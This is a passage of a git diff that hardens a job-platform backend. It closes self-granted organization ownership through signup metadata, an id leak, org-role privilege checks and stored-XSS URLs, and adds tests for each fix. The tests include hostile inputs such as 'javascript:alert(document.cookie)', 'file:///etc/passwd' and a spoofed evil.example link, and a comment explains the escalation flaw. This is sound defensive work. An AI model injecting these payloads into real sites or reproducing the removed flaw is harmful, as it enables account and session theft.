+}); diff --git a/packages/db/supabase/auth-hooks.sql b/packages/db/supabase/auth-hooks.sql index 01a9025..c04ef78 100644 --- a/packages/db/supabase/auth-hooks.sql +++ b/packages/db/supabase/auth-hooks.sql @@ -6,8 +6,8 @@ -- Two pieces: -- 1. handle_new_user() — mirrors what services/auth's register.ts / -- oauth-callback.ts used to do by hand: create the public.users row --- (and an org + owner membership, if an organization_name was passed as --- signup metadata) whenever a row is inserted into auth.users. +-- whenever a row is inserted into auth.users. It deliberately does NOT +-- create organizations or memberships (see the note inside the function). -- 2. custom_access_token_hook() — a Custom Access Token Auth Hook that -- injects this user's primary organization_id/role into -- app_metadata on every JWT Supabase issues, so packages/auth-kit can @@ -15,8 +15,19 @@ -- 1. Link public.users to its auth.users row and keep it in sync on signup -- -alter table public.users - add constraint users_user_id_fkey foreign key (user_id) references auth.users (id) on delete cascade; +-- Guarded so the whole file can be re-applied (e.g. to ship a change to +-- handle_new_user below) without failing on the already-existing constraint. +do $$ +begin + if not exists ( + select 1 from pg_constraint + where conname = 'users_user_id_fkey' and conrelid = 'public.users'::regclass + ) then + alter table public.users + add constraint users_user_id_fkey foreign key (user_id) references auth.users (id) on delete cascade; + end if; +end +$$; create or replace function public.handle_new_user() returns trigger @@ -26,8 +37,6 @@ set search_path = public as $$ declare v_provider text; - v_org_name text; - v_org_id uuid; begin v_provider := coalesce(new.raw_app_meta_data ->> 'provider', 'email'); @@ -57,14 +66,19 @@ begin new.email_confirmed_at is not null ); - v_org_name := new.raw_user_meta_data ->> 'organization_name'; - if v_org_name is not null and length(trim(v_org_name)) > 0 then - insert into public.organizations (name) values (v_org_name) - returning organization_id into v_org_id; - - insert into public.organization_members (organization_id, user_id, role) - values (v_org_id, new.id, 'owner'); - end if; + -- SECURITY: this function must never create an organization or an + -- organization_members row. It used to turn + -- raw_user_meta_data.organization_name into a new org plus an `owner` + -- membership, but raw_user_meta_data is CLIENT-CONTROLLED: anyone holding + -- the public (anon) Supabase key can call the signup endpoint with + -- arbitrary `data`, so that made "owner of a brand-new organization" (and + -- the org admin/owner role that ends up in their JWT through + -- custom_access_token_hook) something any visitor could grant themselves. + -- Organizations (e.g. for the university pilot) are created by platform + -- administrators, who add members explicitly. Only server-trusted input + -- (new.id, new.email, provider) may drive memberships; if self-serve orgs + -- are ever wanted, do it from an authenticated, rate-limited, audited + -- endpoint — not from signup metadata. return new; end; diff --git a/packages/db/test/auth-hooks.test.ts b/packages/db/test/auth-hooks.test.ts new file mode 100644 index 0000000..d5974ab --- /dev/null +++ b/packages/db/test/auth-hooks.test.ts @@ -0,0 +1,89 @@ +import { randomUUID } from 'node:crypto'; +import { readFileSync } from 'node:fs'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { createDatabase, type DatabaseHandle } from '../src/client.js'; + +// DB-backed tests self-skip when ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +const authHooksPath = fileURLToPath(new URL('../supabase/auth-hooks.sql', import.meta.url)); +const authHooksSql = readFileSync(authHooksPath, 'utf8'); + +/** The `create or replace function public.handle_new_user() ... $$;` statement, verbatim from the file. */ +function extractHandleNewUser(sql: string): string { + const match = /create or replace function public\.handle_new_user\(\)[\s\S]*?\n\$\$;/.exec(sql); + expect(match, 'handle_new_user() definition not found in auth-hooks.sql').not.toBeNull(); + return match![0]; +} + +const handleNewUserSql = extractHandleNewUser(authHooksSql); + +describe('handle_new_user (auth-hooks.sql), static', () => { + it('never creates an organization or membership from signup metadata', () => { + // Comments may (and do) explain the old behavior; check the executable text only. + const executable = handleNewUserSql + .split('\n') + .filter((line) => !line.trim().startsWith('--')) + .join('\n'); + expect(executable).not.toMatch(/organization_name/i); + expect(executable).not.toMatch(/insert\s+into\s+public\.organizations/i); + expect(executable).not.toMatch(/insert\s+into\s+public\.organization_members/i); + }); + + it('still provisions the public.users row', () => { + expect(handleNewUserSql).toMatch(/insert\s+into\s+public\.users/i); + }); +}); + +/** Thrown inside a transaction purely to force a rollback after the assertions' data is collected. */ +class Rollback extends Error {} + +describe.skipIf(!testDatabaseUrl)('handle_new_user (auth-hooks.sql), against Postgres', () => { + let dbHandle: DatabaseHandle; + + beforeAll(() => { + dbHandle = createDatabase({ url: testDatabaseUrl!, maxConnections: 2 }); + }); + + afterAll(async () => { + await dbHandle.close(); + }); + + it('does not turn a client-supplied organization_name into an organization + owner membership', async () => { + const userId = randomUUID(); + const orgName = `Self-Granted Org ${randomUUID()}`; + const email = `auth-hooks-${userId}@example.com`; + let observed: { userRows: number; orgRows: number; membershipRows: number } | undefined; + + // Everything — including (re)defining the function from the file under test — + // happens in one transaction that is always rolled back, so this never + // mutates the shared test database or leaves rows behind. + await dbHandle.sql + .begin(async (tx) => { + await tx.unsafe(handleNewUserSql); + await tx` + insert into auth.users (id, instance_id, aud, role, email, email_confirmed_at, raw_app_meta_data, raw_user_meta_data, created_at, updated_at) + values ( + ${userId}, '00000000-0000-0000-0000-000000000000', 'authenticated', 'authenticated', ${email}, now(), + '{"provider":"email"}'::jsonb, + ${JSON.stringify({ full_name: 'Mallory', organization_name: orgName })}::jsonb, + now(), now() + ) + `; + const [users] = await tx`select count(*)::int as n from public.users where user_id = ${userId}`; + const [orgs] = await tx`select count(*)::int as n from public.organizations where name = ${orgName}`; + const [memberships] = await tx`select count(*)::int as n from public.organization_members where user_id = ${userId}`; + observed = { userRows: users!.n, orgRows: orgs!.n, membershipRows: memberships!.n }; + throw new Rollback(); + }) + .catch((cause: unknown) => { + if (!(cause instanceof Rollback)) throw cause; + }); + + expect(observed).toEqual({ userRows: 1, orgRows: 0, membershipRows: 0 }); + + // And the rollback really did leave nothing behind. + const [leftover] = await dbHandle.sql`select count(*)::int as n from public.users where user_id = ${userId}`; + expect(leftover!.n).toBe(0); + }); +}); diff --git a/services/connectors/src/http/routes/connect.ts b/services/connectors/src/http/routes/connect.ts index 9fe167e..769c0ae 100644 --- a/services/connectors/src/http/routes/connect.ts +++ b/services/connectors/src/http/routes/connect.ts @@ -5,7 +5,7 @@ import { AppError, pgErrorCode } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; import { isConnectorProvider } from '../../lib/providers.js'; import { toConnectorAccountView, type ConnectorAccountView } from '../../lib/public-view.js'; -import { findByProviderAndExternalId, findByUserAndProvider, insertConnection, replaceConnection } from '../../repo/connector-accounts.js'; +import { findByUserAndProvider, insertConnection, replaceConnection } from '../../repo/connector-accounts.js'; /** Postgres unique_violation. */ const UNIQUE_VIOLATION = '23505'; @@ -78,10 +78,9 @@ export function connectRoute(app: FastifyInstance, deps: AppDeps): void { // Someone else already connected this exact provider account — the // secret we just wrote is orphaned and must not be left behind. await deps.secretStore.delete(ref); - const conflicting = await findByProviderAndExternalId(deps.db, provider, body.external_account_id); - throw new AppError('CONFLICT', 'This connector account is already connected by another user', { - details: conflicting ? { connector_account_id: conflicting.connectorAccountId } : undefined, - }); + // Deliberately no `details`: the conflicting row belongs to someone + // else, so neither its id nor anything else about it is ours to return. + throw new AppError('CONFLICT', 'This connector account is already connected by another user'); } await deps.secretStore.delete(ref); throw cause; diff --git a/services/connectors/test/connectors-flow.test.ts b/services/connectors/test/connectors-flow.test.ts index 2e76ff7..a7b1f57 100644 --- a/services/connectors/test/connectors-flow.test.ts +++ b/services/connectors/test/connectors-flow.test.ts @@ -159,6 +159,27 @@ describe.skipIf(!testDatabaseUrl)('connectors-service HTTP flow', () => { expect(res.statusCode).toBe(409); }); + it("does not leak the other user's connector_account_id when rejecting a conflicting claim", async () => { + const [victimRow] = await dbHandle.db.select().from(schema.connectorAccounts).where(eq(schema.connectorAccounts.userId, userId)); + expect(victimRow).toBeDefined(); + + const res = await app.inject({ + method: 'POST', + url: '/v1/connectors/greenhouse/connect', + headers: { authorization: `Bearer ${otherToken}` }, + payload: { external_account_id: 'board-1-renamed', credential: 'someone-elses-token', consent: true }, + }); + expect(res.statusCode).toBe(409); + expect(res.json().error.code).toBe('CONFLICT'); + expect(res.json().error.details).toBeUndefined(); + expect(res.body).not.toContain(victimRow!.connectorAccountId); + expect(res.body).not.toContain('connector_account_id'); + + // The rejected claim must not have left a row (or secret) behind for the other user. + const otherRows = await dbHandle.db.select().from(schema.connectorAccounts).where(eq(schema.connectorAccounts.userId, otherUserId)); + expect(otherRows).toHaveLength(0); + }); + it('disconnects a provider', async () => { const res = await app.inject({ method: 'POST', diff --git a/services/jobs/src/env.ts b/services/jobs/src/env.ts index c99d5ca..a4d18b9 100644 --- a/services/jobs/src/env.ts +++ b/services/jobs/src/env.ts @@ -7,6 +7,12 @@ export const jobsServiceEnvSchema = z.object({ ...httpEnvSchema.shape, ...messagingEnvSchema.shape, ...supabaseAuthEnvSchema.shape, + /** + * Comma-separated `auth.users` ids allowed to act on GLOBAL data such as the + * shared jobs catalog (see `requirePlatformAdmin` in @atlas/auth-kit). + * Empty/unset means nobody. + */ + PLATFORM_ADMIN_USER_IDS: z.string().default(''), }); export type JobsServiceEnv = z.infer; diff --git a/services/jobs/src/http/routes/get-job.ts b/services/jobs/src/http/routes/get-job.ts index ba142ad..a94047f 100644 --- a/services/jobs/src/http/routes/get-job.ts +++ b/services/jobs/src/http/routes/get-job.ts @@ -1,12 +1,18 @@ import type { FastifyInstance } from 'fastify'; +import { z } from 'zod'; import { requireAuth } from '@atlas/auth-kit'; +import { uuidSchema } from '@atlas/types'; import { AppError } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; import { findById, toJob } from '../../repo/jobs.js'; +// A malformed id must be a 400 here, not reach Postgres as a uuid cast +// failure (22P02) and surface as a 500. +const paramsSchema = z.object({ id: uuidSchema }); + export function getJobRoute(app: FastifyInstance, deps: AppDeps): void { app.get('/v1/jobs/:id', { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { - const { id } = request.params as { id: string }; + const { id } = paramsSchema.parse(request.params); const job = await findById(deps.db, id); if (!job) { throw new AppError('JOB_NOT_FOUND', 'Job not found'); diff --git a/services/jobs/src/http/routes/ingest.ts b/services/jobs/src/http/routes/ingest.ts index 93c5a1a..bcd118d 100644 --- a/services/jobs/src/http/routes/ingest.ts +++ b/services/jobs/src/http/routes/ingest.ts @@ -1,9 +1,9 @@ import type { FastifyInstance } from 'fastify'; -import { getActor, requireAuth } from '@atlas/auth-kit'; +import { getActor, requireAuth, requirePlatformAdmin } from '@atlas/auth-kit'; import { extractSkillKeywords } from '@atlas/ai'; import { createEvent } from '@atlas/messaging'; import { ingestJobsRequestSchema, type IngestionReport } from '@atlas/types'; -import { AppError, newTraceContext, pgErrorCode } from '@atlas/utils'; +import { newTraceContext, pgErrorCode } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; import { coerceEmploymentType, @@ -11,6 +11,7 @@ import { computeJobHash, estimateSpamScore, normalizeApplyUrl, + normalizeWebsiteUrl, } from '../../lib/normalize.js'; import { findOrCreateByName } from '../../repo/companies.js'; import { findByHash, insert, touchSeen } from '../../repo/jobs.js'; @@ -27,10 +28,10 @@ function parsePostedAt(raw?: string | null): string | null { export function ingestRoute(app: FastifyInstance, deps: AppDeps): void { app.post('/v1/jobs/ingest', { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); - // Straight off the JWT claim (set at login) — no DB round trip needed to check role. - if (actor.role !== 'admin' && actor.role !== 'owner') { - throw new AppError('FORBIDDEN', 'Only org admins/owners can ingest job postings'); - } + // The jobs catalog is shared by every tenant, so writing to it is a + // platform-level action. An org admin/owner role is not enough: anyone + // can create an organization, so that role carries no platform trust. + requirePlatformAdmin(actor, deps.env.PLATFORM_ADMIN_USER_IDS, 'Only platform administrators can ingest job postings'); const { postings } = ingestJobsRequestSchema.parse(request.body); const firstSource = postings[0]?.source ?? 'manual'; @@ -43,12 +44,16 @@ export function ingestRoute(app: FastifyInstance, deps: AppDeps): void { errors: [], }; - for (const posting of postings) { + for (const [index, posting] of postings.entries()) { const remoteType = coerceRemoteType(posting.remote_type); const jobHash = computeJobHash(posting.company_name, posting.title, posting.location ?? null, remoteType); try { - const company = await findOrCreateByName(deps.db, posting.company_name, posting.company_website); + const company = await findOrCreateByName( + deps.db, + posting.company_name, + normalizeWebsiteUrl(posting.company_website), + ); const existing = await findByHash(deps.db, jobHash); if (existing) { @@ -96,7 +101,10 @@ export function ingestRoute(app: FastifyInstance, deps: AppDeps): void { } } report.rejected += 1; - report.errors.push(cause instanceof Error ? cause.message : String(cause)); + // Driver/ORM errors embed SQL and bound values (the whole posting) — + // the detail stays in our logs, the caller only learns which item failed. + request.log.error({ err: cause, posting_index: index }, 'failed to ingest job posting'); + report.errors.push(`postings[${index}]: could not be processed`); } } diff --git a/services/jobs/src/lib/normalize.ts b/services/jobs/src/lib/normalize.ts index 9c11c43..ef71c0f 100644 --- a/services/jobs/src/lib/normalize.ts +++ b/services/jobs/src/lib/normalize.ts @@ -42,19 +42,40 @@ export function coerceEmploymentType(raw?: string | null): EmploymentType { } /** - * `jobSchema.apply_url` requires a real URL, but `rawJobPostingSchema` - * deliberately accepts any string a connector hands us — normalize instead - * of storing (and later serving) something that fails the API contract. + * Only http(s) URLs are ever stored. `new URL()` happily parses `javascript:`, + * `data:`, `vbscript:`, `file:` and friends, and these values are rendered as + * `href`s by the web apps — storing one would be a stored-XSS vector. URLs + * carrying embedded credentials (`https://user:pass@host`) are rejected too: + * no genuine posting needs them, and they make a link look like it points + * somewhere it doesn't. */ -export function normalizeApplyUrl(raw?: string | null): string | null { +function normalizeHttpUrl(raw?: string | null): string | null { if (!raw) return null; try { - return new URL(raw).toString(); + const url = new URL(raw.trim()); + if (url.protocol !== 'http:' && url.protocol !== 'https:') return null; + if (url.username !== '' || url.password !== '') return null; + return url.toString(); } catch { return null; } } +/** + * `jobSchema.apply_url` requires a real URL, but `rawJobPostingSchema` + * deliberately accepts any string a connector hands us — normalize instead + * of storing (and later serving) something that fails the API contract, or + * that is not a web link at all (see {@link normalizeHttpUrl}). + */ +export function normalizeApplyUrl(raw?: string | null): string | null { + return normalizeHttpUrl(raw); +} + +/** Same rules as {@link normalizeApplyUrl}, for `companies.website` (also untrusted ingest input). */ +export function normalizeWebsiteUrl(raw?: string | null): string | null { + return normalizeHttpUrl(raw); +} + /** * A heuristic, not a classifier — 0 by default, bumped for the handful of * signals a genuine posting is very unlikely to be missing. Callers decide @@ -62,7 +83,8 @@ export function normalizeApplyUrl(raw?: string | null): string | null { */ export function estimateSpamScore(posting: RawJobPosting): number { let score = 0; - if (!posting.apply_url) score += 0.4; + // An apply_url we'd refuse to store (e.g. `javascript:`) is as good as none. + if (!normalizeApplyUrl(posting.apply_url)) score += 0.4; if (posting.title.trim().length < 4) score += 0.3; if (!posting.description || posting.description.trim().length < 40) score += 0.3; return Math.min(1, score); diff --git a/services/jobs/test/jobs-flow.test.ts b/services/jobs/test/jobs-flow.test.ts index 7e51dcd..e607c4c 100644 --- a/services/jobs/test/jobs-flow.test.ts +++ b/services/jobs/test/jobs-flow.test.ts @@ -42,16 +42,29 @@ async function stubJwks(): Promise { describe.skipIf(!testDatabaseUrl)('jobs-service HTTP flow', () => { let app: FastifyInstance; + // Same service, but booted with no PLATFORM_ADMIN_USER_IDS at all. + let appWithoutAllowlist: FastifyInstance; let dbHandle: DatabaseHandle; let adminToken: string; let memberToken: string; + let orgOwnerToken: string; + let orgAdminToken: string; const adminUserId = randomUUID(); const memberUserId = randomUUID(); + const orgOwnerUserId = randomUUID(); + const orgAdminUserId = randomUUID(); + const orgId = randomUUID(); const companyName = `Test Co ${randomUUID().slice(0, 8)}`; beforeAll(async () => { await stubJwks(); - const env = loadJobsServiceEnv({ DATABASE_URL: testDatabaseUrl, PORT: '4003', SUPABASE_URL }); + // Platform admin is a server-side allowlist of user ids, not an org role. + const env = loadJobsServiceEnv({ + DATABASE_URL: testDatabaseUrl, + PORT: '4003', + SUPABASE_URL, + PLATFORM_ADMIN_USER_IDS: ` ${adminUserId.toUpperCase()} , `, + }); dbHandle = createDatabase({ url: env.DATABASE_URL }); const broker = createBroker({ driver: 'memory', logger: createSilentLogger() }); app = buildApp({ @@ -64,13 +77,29 @@ describe.skipIf(!testDatabaseUrl)('jobs-service HTTP flow', () => { }); await app.ready(); - adminToken = await signTestToken({ sub: adminUserId, sid: randomUUID(), org: null, role: 'admin', email: 'admin@example.com' }); + const envWithoutAllowlist = loadJobsServiceEnv({ DATABASE_URL: testDatabaseUrl, PORT: '4003', SUPABASE_URL }); + expect(envWithoutAllowlist.PLATFORM_ADMIN_USER_IDS).toBe(''); + appWithoutAllowlist = buildApp({ + db: dbHandle.db, + sql: dbHandle.sql, + env: envWithoutAllowlist, + logger: createSilentLogger(), + broker, + tokenVerifier: createTokenVerifierConfig(envWithoutAllowlist), + }); + await appWithoutAllowlist.ready(); + + // The platform admin deliberately carries no org role: being on the allowlist is what counts. + adminToken = await signTestToken({ sub: adminUserId, sid: randomUUID(), org: null, role: null, email: 'admin@example.com' }); memberToken = await signTestToken({ sub: memberUserId, sid: randomUUID(), org: null, role: 'member', email: 'member@example.com' }); + orgOwnerToken = await signTestToken({ sub: orgOwnerUserId, sid: randomUUID(), org: orgId, role: 'owner', email: 'owner@example.com' }); + orgAdminToken = await signTestToken({ sub: orgAdminUserId, sid: randomUUID(), org: orgId, role: 'admin', email: 'orgadmin@example.com' }); }); afterAll(async () => { await dbHandle.db.delete(schema.companies).where(eq(schema.companies.name, companyName)); await app.close(); + await appWithoutAllowlist.close(); await dbHandle.close(); }); @@ -84,6 +113,46 @@ describe.skipIf(!testDatabaseUrl)('jobs-service HTTP flow', () => { expect(res.statusCode).toBe(403); }); + it('rejects ingest from an org owner who is not on the platform-admin allowlist', async () => { + const res = await app.inject({ + method: 'POST', + url: '/v1/jobs/ingest', + headers: { authorization: `Bearer ${orgOwnerToken}` }, + payload: { postings: [{ source: 'manual', external_id: null, title: 'Owner Injected Job', company_name: companyName }] }, + }); + expect(res.statusCode).toBe(403); + expect(res.json().error.code).toBe('FORBIDDEN'); + }); + + it('rejects ingest from an org admin who is not on the platform-admin allowlist', async () => { + const res = await app.inject({ + method: 'POST', + url: '/v1/jobs/ingest', + headers: { authorization: `Bearer ${orgAdminToken}` }, + payload: { postings: [{ source: 'manual', external_id: null, title: 'Admin Injected Job', company_name: companyName }] }, + }); + expect(res.statusCode).toBe(403); + }); + + it('writes nothing to the catalog when an unauthorized caller is rejected', async () => { + const rows = await dbHandle.db.select().from(schema.jobs).where(eq(schema.jobs.title, 'Owner Injected Job')); + expect(rows).toHaveLength(0); + const adminRows = await dbHandle.db.select().from(schema.jobs).where(eq(schema.jobs.title, 'Admin Injected Job')); + expect(adminRows).toHaveLength(0); + }); + + it('fails closed: with no allowlist configured, nobody can ingest (not even the former admin)', async () => { + for (const token of [adminToken, orgOwnerToken, orgAdminToken]) { + const res = await appWithoutAllowlist.inject({ + method: 'POST', + url: '/v1/jobs/ingest', + headers: { authorization: `Bearer ${token}` }, + payload: { postings: [{ source: 'manual', external_id: null, title: 'No Allowlist Job', company_name: companyName }] }, + }); + expect(res.statusCode).toBe(403); + } + }); + it('ingests a posting, dedupes an identical re-ingest, and serves it back', async () => { const posting = { source: 'manual', @@ -137,6 +206,111 @@ describe.skipIf(!testDatabaseUrl)('jobs-service HTTP flow', () => { expect(getRes.json().job.skills).toEqual(expect.arrayContaining([])); }); + it('does not store non-http(s) apply URLs or company websites (stored-XSS vector)', async () => { + // A fresh company, so its website is set by this very ingest. + const xssCompany = `${companyName} Xss`; + try { + const res = await app.inject({ + method: 'POST', + url: '/v1/jobs/ingest', + headers: { authorization: `Bearer ${adminToken}` }, + payload: { + postings: [ + { + source: 'manual', + external_id: 'xss-1', + title: 'Platform Engineer With A Hostile Link', + company_name: xssCompany, + description: 'Operate the platform and keep the lights on for every team, all day long.', + apply_url: 'javascript:alert(document.cookie)', + company_website: 'javascript:alert(1)', + }, + ], + }, + }); + expect(res.statusCode).toBe(200); + expect(res.json().inserted).toBe(1); + + const [company] = await dbHandle.db.select().from(schema.companies).where(eq(schema.companies.name, xssCompany)); + expect(company).toBeDefined(); + expect(company!.website).toBeNull(); + + const [job] = await dbHandle.db.select().from(schema.jobs).where(eq(schema.jobs.companyId, company!.companyId)); + expect(job).toBeDefined(); + expect(job!.applyUrl).toBeNull(); + } finally { + await dbHandle.db.delete(schema.companies).where(eq(schema.companies.name, xssCompany)); + } + }); + + it('keeps a legitimate https company website', async () => { + const siteCompany = `${companyName} Web`; + try { + const res = await app.inject({ + method: 'POST', + url: '/v1/jobs/ingest', + headers: { authorization: `Bearer ${adminToken}` }, + payload: { + postings: [ + { + source: 'manual', + external_id: 'web-1', + title: 'Site Reliability Engineer', + company_name: siteCompany, + company_website: 'https://example.com/about', + apply_url: 'https://example.com/apply/web-1', + }, + ], + }, + }); + expect(res.statusCode).toBe(200); + const [company] = await dbHandle.db.select().from(schema.companies).where(eq(schema.companies.name, siteCompany)); + expect(company!.website).toBe('https://example.com/about'); + } finally { + await dbHandle.db.delete(schema.companies).where(eq(schema.companies.name, siteCompany)); + } + }); + + it('reports a rejected posting with a generic reason, never driver or SQL detail', async () => { + const res = await app.inject({ + method: 'POST', + url: '/v1/jobs/ingest', + headers: { authorization: `Bearer ${adminToken}` }, + payload: { + postings: [ + // NUL bytes are valid JSON/zod strings but Postgres refuses to store them. + { source: 'manual', external_id: 'bad-1', title: 'Broken\u0000Posting', company_name: companyName, description: 'SECRET-DESCRIPTION-TEXT' }, + ], + }, + }); + expect(res.statusCode).toBe(200); + const report = res.json(); + expect(report.rejected).toBe(1); + expect(report.inserted).toBe(0); + expect(report.errors).toEqual(['postings[0]: could not be processed']); + expect(res.body).not.toMatch(/insert into|params|Failed query|SECRET-DESCRIPTION-TEXT|invalid byte sequence|violates/i); + }); + + it('400s a malformed job id instead of letting the uuid cast 500', async () => { + const res = await app.inject({ + method: 'GET', + url: '/v1/jobs/not-a-uuid', + headers: { authorization: `Bearer ${adminToken}` }, + }); + expect(res.statusCode).toBe(400); + expect(res.json().error.code).toBe('VALIDATION_ERROR'); + }); + + it('404s a well-formed job id that does not exist', async () => { + const res = await app.inject({ + method: 'GET', + url: `/v1/jobs/${randomUUID()}`, + headers: { authorization: `Bearer ${adminToken}` }, + }); + expect(res.statusCode).toBe(404); + expect(res.json().error.code).toBe('JOB_NOT_FOUND'); + }); + it('403s recommendations for a mismatched user_id from a non-admin caller', async () => { const res = await app.inject({ method: 'GET', diff --git a/services/jobs/test/normalize.test.ts b/services/jobs/test/normalize.test.ts index a793f0b..8440a48 100644 --- a/services/jobs/test/normalize.test.ts +++ b/services/jobs/test/normalize.test.ts @@ -7,6 +7,7 @@ import { estimateSpamScore, normalizeApplyUrl, normalizeCompanyName, + normalizeWebsiteUrl, } from '../src/lib/normalize.js'; describe('normalizeCompanyName', () => { @@ -83,6 +84,10 @@ describe('estimateSpamScore', () => { expect(estimateSpamScore({ ...base, description: 'short' })).toBeGreaterThan(0); }); + it('treats an apply_url that would not be stored (e.g. javascript:) as missing', () => { + expect(estimateSpamScore({ ...base, apply_url: 'javascript:alert(1)' })).toBe(estimateSpamScore({ ...base, apply_url: null })); + }); + it('never exceeds 1', () => { expect(estimateSpamScore({ ...base, apply_url: null, title: 'X', description: null })).toBeLessThanOrEqual(1); }); @@ -101,4 +106,45 @@ describe('normalizeApplyUrl', () => { expect(normalizeApplyUrl(null)).toBeNull(); expect(normalizeApplyUrl(undefined)).toBeNull(); }); + + it('accepts http as well as https', () => { + expect(normalizeApplyUrl('http://acme.example/apply')).toBe('http://acme.example/apply'); + }); + + it.each([ + 'javascript:alert(1)', + 'JaVaScRiPt:alert(document.cookie)', + ' javascript:alert(1)', + 'data:text/html,', + 'vbscript:msgbox(1)', + 'file:///etc/passwd', + 'ftp://acme.example/apply', + 'blob:https://acme.example/6f1c1a52-0a4e-4f56-9d0c-0d64a7a2a5a1', + ])('nulls out the non-web URL %s instead of storing it', (raw) => { + expect(normalizeApplyUrl(raw)).toBeNull(); + }); + + it('nulls out a URL with embedded credentials', () => { + expect(normalizeApplyUrl('https://user:pass@acme.example/apply')).toBeNull(); + expect(normalizeApplyUrl('https://acme.example@evil.example/apply')).toBeNull(); + }); + + it('trims surrounding whitespace before validating', () => { + expect(normalizeApplyUrl(' https://acme.example/apply ')).toBe('https://acme.example/apply'); + }); +}); + +describe('normalizeWebsiteUrl', () => { + it('passes through an http(s) URL', () => { + expect(normalizeWebsiteUrl('https://acme.example')).toBe('https://acme.example/'); + expect(normalizeWebsiteUrl('http://acme.example/about')).toBe('http://acme.example/about'); + }); + + it('nulls out non-web schemes, junk, and missing values', () => { + expect(normalizeWebsiteUrl('javascript:alert(1)')).toBeNull(); + expect(normalizeWebsiteUrl('data:text/html;base64,PHNjcmlwdD4=')).toBeNull(); + expect(normalizeWebsiteUrl('acme.example')).toBeNull(); + expect(normalizeWebsiteUrl(null)).toBeNull(); + expect(normalizeWebsiteUrl(undefined)).toBeNull(); + }); }); diff --git a/services/learning/src/env.ts b/services/learning/src/env.ts index a7ba748..5f86a1a 100644 --- a/services/learning/src/env.ts +++ b/services/learning/src/env.ts @@ -7,6 +7,11 @@ export const learningServiceEnvSchema = z.object({ ...httpEnvSchema.shape, ...messagingEnvSchema.shape, ...supabaseAuthEnvSchema.shape, + /** + * Comma-separated `auth.users` ids allowed to read cross-tenant aggregates + * (see `requirePlatformAdmin` in @atlas/auth-kit). Empty/unset means nobody. + */ + PLATFORM_ADMIN_USER_IDS: z.string().default(''), }); export type LearningServiceEnv = z.infer; diff --git a/services/learning/src/http/routes/get-metrics.ts b/services/learning/src/http/routes/get-metrics.ts index 8bec0a2..ffbb05c 100644 --- a/services/learning/src/http/routes/get-metrics.ts +++ b/services/learning/src/http/routes/get-metrics.ts @@ -1,6 +1,5 @@ import type { FastifyInstance } from 'fastify'; -import { getActor, requireAuth } from '@atlas/auth-kit'; -import { AppError } from '@atlas/utils'; +import { getActor, requireAuth, requirePlatformAdmin } from '@atlas/auth-kit'; import type { AppDeps } from '../../app.js'; import { computeLearningMetrics } from '../../lib/metrics.js'; import { listApplicationPairs, listRecentScores } from '../../repo/lookups.js'; @@ -19,11 +18,11 @@ export interface LearningMetricsResponse { export function getMetricsRoute(app: FastifyInstance, deps: AppDeps): void { app.get('/v1/learning/metrics', { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); - // Model-calibration internals, not user data — same admin/owner bar as - // job ingestion, straight off the JWT claim (no DB round trip needed). - if (actor.role !== 'admin' && actor.role !== 'owner') { - throw new AppError('FORBIDDEN', 'Only org admins/owners can view learning metrics'); - } + // Cross-tenant model-calibration aggregates (every user's scores and + // applications), not one organization's data — so an org admin/owner role + // is not enough (anyone can mint one by creating an org). Same + // platform-admin allowlist as job ingestion. + requirePlatformAdmin(actor, deps.env.PLATFORM_ADMIN_USER_IDS, 'Only platform administrators can view learning metrics'); const [scores, appliedPairs] = await Promise.all([listRecentScores(deps.db), listApplicationPairs(deps.db)]); const metrics = computeLearningMetrics(scores, appliedPairs); diff --git a/services/learning/test/learning-flow.test.ts b/services/learning/test/learning-flow.test.ts index 2d0b9a6..9a1e1eb 100644 --- a/services/learning/test/learning-flow.test.ts +++ b/services/learning/test/learning-flow.test.ts @@ -43,20 +43,33 @@ async function stubJwks(): Promise { describe.skipIf(!testDatabaseUrl)('learning-service', () => { let app: FastifyInstance; + // Same service, but booted with no PLATFORM_ADMIN_USER_IDS at all. + let appWithoutAllowlist: FastifyInstance; let dbHandle: DatabaseHandle; let broker: MemoryBroker; let subscriptions: Subscription[]; let adminToken: string; let memberToken: string; + let orgOwnerToken: string; + let orgAdminToken: string; const userId = randomUUID(); const adminUserId = randomUUID(); + const orgOwnerUserId = randomUUID(); + const orgAdminUserId = randomUUID(); + const orgId = randomUUID(); const companyName = `Learning Test Co ${randomUUID().slice(0, 8)}`; let companyId: string; const modelVersion = `test-model-${randomUUID().slice(0, 8)}`; beforeAll(async () => { await stubJwks(); - const env = loadLearningServiceEnv({ DATABASE_URL: testDatabaseUrl, PORT: '4009', SUPABASE_URL }); + // Platform admin is a server-side allowlist of user ids, not an org role. + const env = loadLearningServiceEnv({ + DATABASE_URL: testDatabaseUrl, + PORT: '4009', + SUPABASE_URL, + PLATFORM_ADMIN_USER_IDS: `${randomUUID()},${adminUserId}`, + }); dbHandle = createDatabase({ url: env.DATABASE_URL }); broker = createBroker({ driver: 'memory', logger: createSilentLogger() }) as MemoryBroker; app = buildApp({ @@ -68,6 +81,18 @@ describe.skipIf(!testDatabaseUrl)('learning-service', () => { tokenVerifier: createTokenVerifierConfig(env), }); await app.ready(); + + const envWithoutAllowlist = loadLearningServiceEnv({ DATABASE_URL: testDatabaseUrl, PORT: '4009', SUPABASE_URL }); + expect(envWithoutAllowlist.PLATFORM_ADMIN_USER_IDS).toBe(''); + appWithoutAllowlist = buildApp({ + db: dbHandle.db, + sql: dbHandle.sql, + env: envWithoutAllowlist, + logger: createSilentLogger(), + broker, + tokenVerifier: createTokenVerifierConfig(envWithoutAllowlist), + }); + await appWithoutAllowlist.ready(); subscriptions = await registerConsumers({ db: dbHandle.db, broker, logger: createSilentLogger() }); // public.users.user_id FKs to auth.users.id (see packages/db/supabase/auth-hooks.sql); @@ -105,8 +130,11 @@ describe.skipIf(!testDatabaseUrl)('learning-service', () => { .insert(schema.applications) .values({ userId, jobId: appliedJob!.jobId, organizationId: null, mode: 'manual', status: 'draft', idempotencyKey: randomUUID() }); - adminToken = await signTestToken({ sub: adminUserId, sid: randomUUID(), org: null, role: 'admin', email: 'admin@example.com' }); + // The platform admin deliberately carries no org role: being on the allowlist is what counts. + adminToken = await 